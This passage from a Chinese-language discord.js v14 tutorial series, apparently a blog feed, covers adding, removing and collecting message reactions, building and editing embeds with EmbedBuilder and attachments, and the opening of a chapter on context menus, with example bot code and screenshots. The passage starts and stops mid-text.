async execute(interaction) {\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n // \"c u m\" in order\n // the first way to do this is using serial .then() on the previous .react()\n await message.react('🇨')\n .then(() =\u0026gt; message.react('🇺')\n .then(() =\u0026gt; message.react('🇲')\n .then(() =\u0026gt; message.react('❗'))));\n\n const msg = await interaction.channel.send({ content: 'AHHhhhhhhHHHhh', fetchReply: true });\n // the second way to do this, is using paralleled .then() on the msg\n await msg.react('🇸')\n .then(() =\u0026gt; msg.react('🇭'))\n .then(() =\u0026gt; msg.react('🇮'))\n .then(() =\u0026gt; msg.react('🇹'));\n\n // the third way to do this is using .react() multiple times\n const menu = await interaction.channel.send({ content: 'Library search result:\\n\\n\\tThe Art of War, Sun Tzu, Filiquarian 2017, PDF\\n\\tMinecraft: The Shipwreck, C. B. Lee, Del Ray 2020, Paperback\\n\\tand more...\\n\\nPage 1/4', fetchReply: true });\n await menu.react('⬅️');\n await menu.react('1️⃣');\n await menu.react('2️⃣');\n await menu.react('3️⃣');\n await menu.react('4️⃣');\n await menu.react('➡️');\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e表情会按顺序逐个添加到指定的消息上去。\u003c/p\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222436755-471884608.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多表情的无特定顺序反应\u003c/h3\u003e\n\u003cp\u003e用 \u003ccode\u003ecommands/reactions/multiReactions2.js\u003c/code\u003e 来举例:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('multireact2')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n\n Promise.all([\n message.react('🇨'),\n message.react('🇺'),\n message.react('🇲'),\n message.react('❗'),\n message.react('🇸'),\n message.react('🇭'),\n message.react('🇮'),\n message.react('🇹'),\n ])\n .catch(error =\u0026gt; console.error('One of the emojis failed to react:', error));\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222449548-985445736.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e移除表情反应\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e所有这些方法都需要机器人在服务器里有 ManageMessages 权限。请确保你的机器人具有权限,否则它将出错。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e确保不要过多地删除表情符号或用户的反应。如果短时间内添加或删除了很多反应,它可以被认为是 API 滥用。\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch4\u003e按表情移除反应\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003emessage.reactions.cache.get('🇫').remove()\n\t.catch(error =\u0026gt; console.error('Failed to remove reactions:', error));\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面给出 \u003ccode\u003ecommands/reactions/rmReaction.js\u003c/code\u003e :\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('rmreact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n await message.react('😄');\n await message.react('🆒');\n await message.react('😃');\n await message.react('😕');\n\n message.reactions.cache.get('🆒').remove()\n .catch(error =\u0026gt; console.error('Failed to remove reactions:', error));\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果的话,读代码就行,很好懂的。\u003c/p\u003e\n\u003ch4\u003e按用户移除反应\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e// 获取用户 id 为 “userId” 的用户对消息 “message” 所有的反应\nconst userReactions = message.reactions.cache.filter(reaction =\u0026gt; reaction.users.cache.has(userId));\n\ntry {\n\t// 遍历这些反应,并从消息底下移除\n\tfor (const reaction of userReactions.values()) {\n\t\tawait reaction.users.remove(userId);\n\t}\n} catch (error) {\n\tconsole.error('Failed to remove reactions.');\n}\n\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003e移除消息全部反应\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003emessage.reactions.removeAll()\n\t.catch(error =\u0026gt; console.error('Failed to clear reactions:', error));\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e等待反应\u003c/h3\u003e\n\u003cp\u003e使用曾经用过的 Collector 可以轻松解决这个问题。在咱们的另一个项目 guess_the_number (https://github.com/wtflmao/guess_the_number) 里,我们已经用过了简单的消息收集器 (https://www.cnblogs.com/hhzm/p/16508453.html) ;在 Chapter 12 按钮的 collector,把它们拿来改成适用于表情反应事件的收集器也是很容易的。\u003c/p\u003e\n\u003cp\u003e下面给出 \u003ccode\u003ecommands/reactions/collectReaction.js\u003c/code\u003e :\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('collectreact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with a thumbs UP or a thumbs DOWN.', fetchReply: true })\n message.react('👍').then(() =\u0026gt; message.react('👎').then(() =\u0026gt; message.react('😋')));\n const filter = (reaction, user) =\u0026gt; {\n return (['👍', '👎','😋'].includes(reaction.emoji.name)) \u0026amp;\u0026amp; (user.id === interaction.user.id);\n };\n\n const collector = message.createReactionCollector({ filter, time: 10000 });\n\n collector.on('collect', (reaction, user) =\u0026gt; {\n console.log(`Collected ${reaction.emoji} from ${user}`);\n });\n\n collector.on('end', collected =\u0026gt; {\n if (collected.size === 0) {\n message.reply(\"Nothing valid you've reacted.\");\n return;\n }\n\n collected.forEach(reaction =\u0026gt; {\n if (reaction.emoji.name === '👍') {\n interaction.channel.send('You reacted with a thumbs UP.');\n } else if (reaction.emoji.name === '👎') {\n interaction.channel.send('You reacted with a thumbs DOWN.');\n } else {\n interaction.channel.send('You reacted with a YUM.');\n }\n })\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222637643-85320352.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222643342-919030606.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e上面的代码写起来很繁琐。幸好我们还有简单的写法。\u003c/p\u003e\n\u003cp\u003e下面给出 \u003ccode\u003ecommands/reactions/awaitReact.js\u003c/code\u003e 的代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('awaitreact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with a thumbs UP or a thumbs DOWN.', fetchReply: true })\n message.react('👍').then(() =\u0026gt; message.react('👎').then(() =\u0026gt; message.react('😋')));\n const filter = (reaction, user) =\u0026gt; {\n return (['👍', '👎','😋'].includes(reaction.emoji.name)) \u0026amp;\u0026amp; (user.id === interaction.user.id);\n };\n\n\t\t// 注意这里的 errors: ['time'] 不要忘了\n await message.awaitReactions({ filter, time: 10000, errors: ['time'] })\n .then(collected =\u0026gt; {\n collected.forEach(reaction =\u0026gt; {\n if (reaction.emoji.name === '👍') {\n interaction.channel.send('You reacted with a thumbs UP.');\n } else if (reaction.emoji.name === '👎') {\n interaction.channel.send('You reacted with a thumbs DOWN.');\n } else {\n interaction.channel.send('You reacted with a YUM.');\n }\n })\n })\n .catch(() =\u0026gt; {\n interaction.channel.send(\"Nothing valid you've reacted.\");\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222701824-1624056038.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222754424-506222329.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e利用 \u003ccode\u003emessage.awaitReactions([options])\u003c/code\u003e 来代替 \u003ccode\u003emessage.createReactionCollector([options])\u003c/code\u003e 要更简单明了。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-14/"},{"title":"Bot in Discord with discord.js (13)","time":"2023-01-10T00:00:00Z","content":"\u003ch1\u003eChapter 16 - 嵌入式元素\u003c/h1\u003e\n\u003ch3\u003eembed\u003c/h3\u003e\n\u003cp\u003e嵌入式元素(Embed)是一种一般由机器人发送的、通常具有彩色边框、嵌入图像、文本字段和其他奇特的属性的消息。比如下图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203322898-288340297.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003eEmbed 一般来说,可以具有以下域:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eauthor\u003c/li\u003e\n\u003cli\u003ecolor\u003c/li\u003e\n\u003cli\u003edescription\u003c/li\u003e\n\u003cli\u003efields\u003c/li\u003e\n\u003cli\u003efooter\u003c/li\u003e\n\u003cli\u003eimage\u003c/li\u003e\n\u003cli\u003ethumbnail\u003c/li\u003e\n\u003cli\u003etitle\u003c/li\u003e\n\u003cli\u003eurl\u003c/li\u003e\n\u003cli\u003evideo\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e其中,各 fields 的格式为 \u003ccode\u003e{ name: '名字', value: '值', inline: true或false }\u003c/code\u003e ,\nfooter 的格式为 \u003ccode\u003e{ text: '页脚文字', icon_url: '页脚图标地址' }\u003c/code\u003e ,\nauthor 的格式为 \u003ccode\u003e{ name: '作者名', icon_url: '作者图标地址', url: '作者网站' }\u003c/code\u003e ,\nthumbnail 和 image 的格式:\u003ccode\u003e{ url: '图片地址' }\u003c/code\u003e ,\ntimestamp 只接受 ISO8601 格式的时间值。\u003c/p\u003e\n\u003cp\u003e有了上面这些知识,我们就可以组建一个 embed JSON 对象了:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// directly use a JSON object to represents an embed\nconst exampleJSONEmbed = {\n color: 0xC1F8C0,\n title: '标题标题',\n url: 'https://discord.js.org/',\n author: {\n name: '作者名字',\n url: 'https://discord.js.org',\n icon_url: 'https://i.imgur.com/AfFp7pu.png'\n },\n description: '这里给出一些介绍',\n thumbnail: {\n url: 'https://i.imgur.com/fwO0TqB.jpeg'\n },\n fields: [\n { name: '普通域标题', value: 'Some value here1' },\n { name: '普通域标题', value: 'Some value here11,下面那个是空白域' },\n { name: '\\u200B', value: '\\u200B' },\n { name: '内联域标题1', value: 'Some value here111', inline: true },\n { name: '内联域标题2', value: 'Some value here3', inline: true },\n { name: '内联域标题3', value: 'Some value here4', inline: true }\n ],\n image: {\n url: 'https://i.imgur.com/yA1u8wt.jpeg'\n },\n // here timestamp field only accepts ISO8601 number or string\n timestamp: (new Date()).toISOString(),\n footer: {\n text: '页脚文字',\n icon_url: 'https://i.imgur.com/AfFp7pu.png'\n }\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e然后我们构建一个叫 \u003ccode\u003e/embed\u003c/code\u003e 的简单斜杠命令,把它放进去,在接着,将 JSON 对象 exampleJSONEmbed 直接放入 .reply 的 embeds 参数列表,用于回复斜杠命令:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eawait interaction.reply({ embeds: [exampleJSONEmbed] });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203513175-1561572284.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e每次都要从 JSON 对象开始构建的话,代码就不好看了。更何况,我们之前使用的按钮、下拉列表等组件都有自己的 Builder。难道嵌入式元素没有这样的一个 Builder 吗?\u003c/p\u003e\n\u003cp\u003e有的。这个 Builder 叫 EmbedBuilder。\u003c/p\u003e\n\u003cp\u003e我们删掉上面的代码,将上面 “直接用 JSON 对象描述的 embed” 重新用 “new EmbedBuilder()” 来构建。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// This EmbedBuilder() has to be inside a command or listener\nconst exampleEmbed = new EmbedBuilder()\n .setColor(0xC1F8C0)\n .setTitle('标题标题')\n .setURL('https://discord.js.org/')\n .setAuthor({ name: '作者名字', iconURL: 'https://i.imgur.com/AfFp7pu.png', url: 'https://discord.js.org' })\n .setDescription('这里给出一些介绍')\n .setThumbnail('https://i.imgur.com/fwO0TqB.jpeg')\n .addFields(\n { name: '普通域标题', value: 'Some value here1' },\n { name: '普通域标题', value: 'Some value here11,下面那个是空白域' },\n // add a blank field in the embed\n { name: '\\u200B', value: '\\u200B' },\n { name: '内联域标题1', value: 'Some value here111', inline: true },\n { name: '内联域标题2', value: 'Some value here3', inline: true },\n )\n .addFields({ name: '内联域标题3', value: 'Some value here4', inline: true })\n .setImage('https://i.imgur.com/yA1u8wt.jpeg')\n // .setTimestamp() accept a Number, a null or a Date value\n .setTimestamp()\n .setFooter({ text: '页脚文字', iconURL: 'https://i.imgur.com/AfFp7pu.png' });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这时的 exampleEmbed 已经不是 JSON 了,而是一个 Embed 类型的对象。\u003c/p\u003e\n\u003cp\u003e接着回复斜杠命令:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eawait interaction.reply({ embeds: [exampleEmbed] });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203548338-815519423.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e两种构建方法做出来的 embed 是一模一样的。\u003c/p\u003e\n\u003cp\u003e很多时候,我们用不着指定这么多值,可能只需要 title、thumbnail 和 description 等就够了。我们给出一个简单的 embed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst simpleEmbed = new EmbedBuilder()\n .setTitle('Columbus, Ohio: Weather report')\n .setURL('https://weather.com/weather/today/l/8db513f8f8993797550b32062dfa5d4d83dd97b28ad0b55ec0033a14fe58a86dc0163883d8c5bf8f66aa6173005f3ebc')\n .setThumbnail('https://i.imgur.com/sRwMnNA.jpeg')\n .setDescription('31 °F\\nMostly Cloudy')\n .setFields(\n { name:'High', value: '41 °F', inline: true},\n { name:'Low', value: '28 °F', inline: true},\n );\n\nawait interaction.channel.send({ content: \"Here's a simple embed\", embeds: [simpleEmbed] });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203606341-1221751048.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e为了三个 embed 放在一起对比,我写了 \u003ccode\u003ecommands/embeds/embed.js\u003c/code\u003e ,但是这个文件基本上只是三个 embed 的复制粘贴,所以为了避免本文冗长,我把相关 commit 留在这里,读者可以自己去看:\u003c/p\u003e\n\u003cp\u003ehttps://github.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\nhttps://gitee.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\u003c/p\u003e\n\u003ch3\u003efileds\u003c/h3\u003e\n\u003cp\u003e你可能注意到了, fields 是个数组,接受最多 25 个 field。\u003c/p\u003e\n\u003cp\u003e内联(inline)的 field 可用于将连续的几个 field 并排显示而不是默认的一行一个。\u003c/p\u003e\n\u003cp\u003e要并排显示字段,你至少需要将两个连续的字段设置为内联。\u003c/p\u003e\n\u003cp\u003e比如:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst exampleEmbed = new EmbedBuilder()\n .setTitle('test')\n .addFields(\n { name: 'B1', value: '1', inline: true },\n { name: 'B2', value: '2', inline: true }\n )\n .addFields({ name: 'C1', value: '3' })\n .addFields(\n { name: 'D1', value: '4', inline: true },\n { name: 'D2', value: '5', inline: true },\n { name: 'D3', value: '6', inline: true }\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203804465-603098193.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e上面的代码是为了美观,才将位于同一行上显示的 fields 在源代码这边也聚在了一块儿。事实上,下面的代码虽然看起来和上面的不一样,但是效果是一模一样的。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/embeds/inlineFields.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst exampleEmbed = new EmbedBuilder()\n .setTitle('test')\n .addFields({ name: 'B1', value: '1', inline: true })\n .addFields(\n { name: 'B2', value: '2', inline: true },\n { name: 'C1', value: '3' },\n { name: 'D1', value: '4', inline: true }\n )\n .addFields(\n { name: 'D2', value: '5', inline: true },\n { name: 'D3', value: '6', inline: true }\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203831492-1186402763.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e要构建一个空白 field,可以这样做:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e.addFields({ name: '\\u200B​', value: '\\u200B​' }),\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e空白 field 既可以独立成行,也可以作为内联 fields 的成员之一。\u003c/p\u003e\n\u003cp\u003eDiscord API 对 embed 做出了一些限制:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003etitle 最长 256 字符\u003c/li\u003e\n\u003cli\u003edescription 最长 4096 字符\u003c/li\u003e\n\u003cli\u003e最多 25 个 field\u003c/li\u003e\n\u003cli\u003e一个 field 的 name 最长 256 字符\u003c/li\u003e\n\u003cli\u003e一个 field 的 value 最长 1024 字符\u003c/li\u003e\n\u003cli\u003efooter 的 text 最长 2048 字符\u003c/li\u003e\n\u003cli\u003eauthor 的 name 最长 256 字符\u003c/li\u003e\n\u003cli\u003eembed 所构成的 JSON 最长不超过 6000 字符\u003c/li\u003e\n\u003cli\u003e一条消息最多 10 个 embeds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e使用附件(attachment)的 embed\u003c/h3\u003e\n\u003cp\u003e通过使用 AttachmentBuilder(),我们可以利用 URL 为 embed 的相关域构建一个图片附件,这样,我们就可以使用 \u003ccode\u003eattachment://fileName.extension\u003c/code\u003e 来访问相关附件。\u003c/p\u003e\n\u003cp\u003e虽然我们还没学到 AttachmentBuilder,但是我们先简单用一下还是可以的。\u003c/p\u003e\n\u003cp\u003e什么时候应该使用(本地上传的)附件?什么时候应该使用(存储于远程服务器的)图片的 URL?\u003c/p\u003e\n\u003cp\u003e对于那些经常重复使用的、相同的图片,建议提前上传存储至云端并确定文件 URL,比如 aws,这样就可以加速机器人的响应了。如果由附件上传,将会导致相同的图片被一遍又一遍的等候上传至 Discord 服务器,浪费时间。\u003c/p\u003e\n\u003cp\u003e对于那些机器人动态生成的图片,直接使用附件上传就好了,附件将上传至 Discord 的 CDN 服务器,无需由你来确定文件位置的 URL。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/embeds/embedWithAttachment.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { AttachmentBuilder, EmbedBuilder, SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('embedattachment')\n .setDescription('Replies with embed!'),\n async execute(interaction) {\n // 这里的工作目录 “./” 是 \"discord_bot_example\"\n const dogeCoffee = new AttachmentBuilder('assets/dogeCoffee.jpg');\n const githubIcon = new AttachmentBuilder('assets/githubIcon.jpg');\n\n // 这个 EmbedBuilder() 必须位于命令里或者监听器里\n const embed = new EmbedBuilder()\n .setTitle('embed with image attachments')\n .setThumbnail('attachment://githubIcon.jpg')\n .setDescription('Github')\n await interaction.reply({ embeds: [embed], files: [githubIcon]});\n\n // 直接使用 JSON 描述一个 embed\n const embed2json = {\n title: 'A cup of coffee',\n image: {\n url: 'attachment://dogeCoffee.jpg',\n },\n };\n const embed2 = new EmbedBuilder(embed2json);\n await interaction.channel.send({ embeds: [embed2], files: [dogeCoffee]});\n\n // 把两个 embed 撺掇撺掇,组成个新的 embed\n const embed3 = new EmbedBuilder()\n .setTitle(embed.toJSON().title + embed2json.title)\n .setImage(embed2.toJSON().image.url)\n .setThumbnail(embed.toJSON().thumbnail.url)\n .setDescription(\"Ahhh\");\n await interaction.channel.send({ embeds: [embed3], files: [dogeCoffee, githubIcon]});\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e其中,\u003ccode\u003eassets/dogeCoffee.jpg\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203858900-2012855056.jpg\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eassets/githubIcon.jpg\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203905410-594641637.jpg\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203928080-1841871113.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e相关commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\nhttps://gitee.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\u003c/p\u003e\n\u003cp\u003e如果图像不是显示在嵌入内部而是显示在外部,请仔细检查你的语法以确保它如上所示。\u003c/p\u003e\n\u003ch3\u003eembed edit\u003c/h3\u003e\n\u003cp\u003e如果你需要将已回复的消息的 embed 做出修改并立即生效,你需要可以使用 message.edit()。\u003c/p\u003e\n\u003cp\u003e下面咱们来一块儿看看:\u003c/p\u003e\n\u003cp\u003e首先建立个斜杠命令,并搞个叫做 embed 的 embed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { EmbedBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('embededit')\n .setDescription('Replies with embed!'),\n async execute(interaction) {\n const infoLogoUrl = \"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSOsaJUWS9y-_JQWtIggodoouMyxM-lJyPa1Q\u0026amp;usqp=CAU\";\n\n // This EmbedBuilder() has to be inside a command or listener\n const embed = new EmbedBuilder()\n .setTitle('Resource Usage Panel')\n .setColor(0x955F20)\n .setThumbnail('https://i.imgur.com/rVtny54.jpeg')\n .setDescription('\\u200B')\n .addFields(\n { name: 'CPU Usage', value: '14 %', inline: true },\n { name: 'Memory Usage', value: '70 %', inline: true },\n )\n .setTimestamp()\n .setFooter({ text: 'Updated 0 second ago', iconURL: infoLogoUrl })\n\n await interaction.reply({ embeds: [embed], content: `${(new Date()).toISOString()}` });\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203951267-240113733.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e接着,我们利用之前在 “Chapter 12 - 按钮” 学到的 message collector 对我们刚 \u003ccode\u003einteraction.reply()\u003c/code\u003e 回复的消息进行捕获,并保存到 message 变量里:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n // 生成 2 到 9 闭区间内的一个整数作为随机数\n // 这里生成随机数用于程序暂停执行 x 秒\n let time = 2 + Math.floor(8 * Math.random());\n await wait(time * 1000);\n\n // 捕获我们刚回复的消息\n const message = await interaction.fetchReply();\n\n // 将 message 的第一个 embed(embed[0])复制一份作为模板\n const receivedEmbed = message.embeds[0];\n // 这里 EmbedBuilder.from() 接受一个 JSON 对象或 Embed 类型值\n // 由于 EmbedBuilder() 构造出来的 embed 都是 immutable 不可修改的值,因此我们不能在原 embed 上做修改,只好以原 embed 为底子,在新 embed 上面做出修改。\n const newEmbed = EmbedBuilder.from(receivedEmbed)\n .setFields(\n { name: 'CPU Usage', value: `${Math.floor(100 * Math.random())} %`, inline: true },\n { name: 'Memory Usage', value: `${Math.floor(100 * Math.random())} %`, inline: true },\n )\n .setFooter({ text: `Updated ${time} seconds ago`, iconURL: infoLogoUrl });\n\n // 直接调用 message.edit() 来修改我们这条消息并生效,无需多余的 interaction.editReply()\n await message.edit({ embeds: [newEmbed], content: `${(new Date()).toISOString()}` })\n\n\n // 再次生成 2 到 9 的随机整数\n time = 2 + Math.floor(8 * Math.random());\n await wait(time * 1000);\n\n // 再次从已有的 embed 构建一个新 embed,省事\n const newEmbed2 = EmbedBuilder.from(newEmbed)\n .setDescription(\"Connection lost\")\n .setFields(\n { name: 'CPU Usage', value: `N/A`, inline: true },\n { name: 'Memory Usage', value: `N/A`, inline: true },\n )\n .setFooter({ text: `Updated ${time} seconds ago`, iconURL: infoLogoUrl });\n\n // 直接删除斜杠命令回复的那条 message,然后直接在相同的频道里发一条新的消息\n await interaction.deleteReply();\n await interaction.channel.send({ embeds: [newEmbed2], content: `${(new Date()).toISOString()}` });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e把上面两端代码 拼接在一块儿,就是 \u003ccode\u003ecommands/embeds/embedEdit.js\u003c/code\u003e 的完整代码,相关 commit:\u003c/p\u003e\n\u003cp\u003ehttps://github.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\nhttps://gitee.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\u003c/p\u003e\n\u003cp\u003e完整效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110204059777-1674192226.png\" alt=\"image\" /\u003e\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110204104458-6997804.png\" alt=\"image\" /\u003e\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110204109749-457999174.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e补充\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e在 embed 里,你可以 @ 用户或身份组,但是这不会触发任何 @ 的提醒。\u003c/li\u003e\n\u003cli\u003e任何在 embed 里的 @ 只能在 description 和 field 的 value 里被正确渲染,否则就会被渲染成普通文字(@加snowflake id)。\u003c/li\u003e\n\u003cli\u003eembed 允许 masked links,比如 \u003ccode\u003e[我的博客](https://cnblogs.com/hhzm '可选的悬浮文字')\u003c/code\u003e ,但这也只允许出现在 description 和 field 的 value 里。\u003c/li\u003e\n\u003cli\u003etimestamp 的值是 ISO8601 标准值(GMT+0),但是 Discord 会根据客户端时区,展示时区转换后的时间。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e小结\u003c/h3\u003e\n\u003cp\u003e我学习了 Embed。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-13/"},{"title":"Bot in Discord with discord.js (12)","time":"2022-11-24T00:00:00Z","content":"\u003cp\u003e本文 Discord.js 版本 v14.7.1\u003c/p\u003e\n\u003ch2\u003eChapter 15 - 交互四大组件之:上下文菜单 Context Menu\u003c/h2\u003e\n\u003cp\u003e上下文菜单(Context Menu),又称为 App Command。使用它,不需要用户显式的输入斜杠 / ,但是后台逻辑方面,和斜杠命令的函数方法基本一致。\u003c/p\u003e\n\u003cp\u003e上下文菜单交互(ContextMenuInteraction),分为 “用户上下文菜单交互”(UserContextMenuInteraction)和 “消息上下文菜单交互”(MessageContextMenuInteraction)。二者的使用方式不一样。\u003c/p\u003e\n\u003ch3\u003e用户端使用 ContextMenu 的方法\u003c/h3\u003e\n\u003ch4\u003e对于 UserContextMenu\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAndroid 和 iOS APP 端:点击某个(已注册部署上下文菜单的)机器人的头像,打开机器人个人资料。划到下面,找到菜单栏 \u003ccode\u003eBOT - APP\u003c/code\u003e,点开它,就能显示出这个机器人所有的 \u003cstrong\u003eUserContextMenu\u003c/strong\u003e。注意是只是 UserContextMenu,不包括该机器人的 MessageContextMenu。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePC 端和浏览器端:点开机器人的个人资料是找不到入口的。鼠标右击机器人头像,在 \u003ccode\u003eAPP\u003c/code\u003e 选项卡里,存放了该机器人的所有 